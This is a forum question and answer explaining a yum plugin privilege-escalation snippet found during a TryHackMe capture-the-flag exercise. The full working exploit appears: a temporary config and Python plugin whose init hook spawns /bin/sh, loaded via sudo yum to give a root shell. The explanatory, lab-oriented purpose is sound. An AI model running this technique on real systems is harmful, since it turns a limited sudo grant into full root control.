Yum privilege escalation - linux

Question

I found this piece of code while doing some ctf on tryhackme. And I don't understand it. Can somebody explain me what exactly it does?
TF=$(mktemp -d)
cat >$TF/x<<EOF
[main]
plugins=1
pluginpath=$TF
pluginconfpath=$TF
EOF
cat >$TF/y.conf<<EOF
[main]
enabled=1
EOF
cat >$TF/y.py<<EOF
import os
import yum
from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE
requires_api_version='2.1'
def init_hook(conduit):
os.execl('/bin/sh','/bin/sh')
EOF
sudo yum -c $TF/x --enableplugin=y

Answer 1

Of course, this privilege escalation technique obviously makes use of the user privilege to run yum as sudo.
TF=$(mktemp -d) creates a temporary directory.
Afterwards, three files are created inside the temp directory (accessible through $TF) by "catting" content into them.
To visualize this, you can run the following commands in a bash shell (without leading > of course):
> touch test
> cat >test<<EOF
[main]
plugins=1
pluginpath=$TF
pluginconfpath=$TF
EOF
> cat test
This will print out the just "catted" content inside the file called test.
The last step: sudo yum -c $TF/x --enableplugin=y simply executes a regular yum command, making use of the just created files mentioned above. The payload def init_hook(conduit): os.execl('/bin/sh','/bin/sh') will then be executed giving you a shell as root since you execute it with sudo.
I hope this is helpful.